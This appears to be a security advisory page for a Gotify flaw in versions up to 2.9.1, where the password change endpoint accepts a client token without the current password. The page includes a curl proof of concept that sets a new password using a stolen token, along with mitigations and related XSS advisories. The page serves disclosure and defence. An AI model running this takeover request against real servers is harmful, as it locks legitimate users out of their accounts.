Vulnerability GHSA-3hcj-9m7p-wwm9
Medium Risk
MEDIUM RISK
CVSS Score: 6.0
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
6 hours ago
October 15, 2026 at 08:15 PM UTC
Gotify: Insufficiently Protected Password Change endpoint
v2.0.0 - v2.9.1
v2.0.0 - v2.9.1
Summary
Gotify: Insufficiently Protected Password Change endpoint
Details
The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.
PoC
# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"
curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK
Mitigation
- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
- Restrict access to the state-changing endpoints under
/userand/current/userto trusted networks.
Related Vulnerabilities
Other vulnerabilities affecting the same packages
Unknown
2 years ago
gotify/server vulnerable to Cross-site Scripting in the application image file upload in github.com/gotify/server
v2.0.0 - v2.2.1 GO-2022-1208
v2.0.0 - v2.2.1 GO-2022-1208
Unknown
2 years ago
Reflected XSS in Gotify's /docs via import of outdated Swagger UI in github.com/gotify/server
v2.0.0 - v2.2.2 GO-2023-1471
v2.0.0 - v2.2.2 GO-2023-1471
Impacted packages
Timeline
Published
6 hours ago
October 15, 2026 at 08:15 PM UTC
Last Modified
5 hours ago
October 15, 2026 at 08:30 PM UTC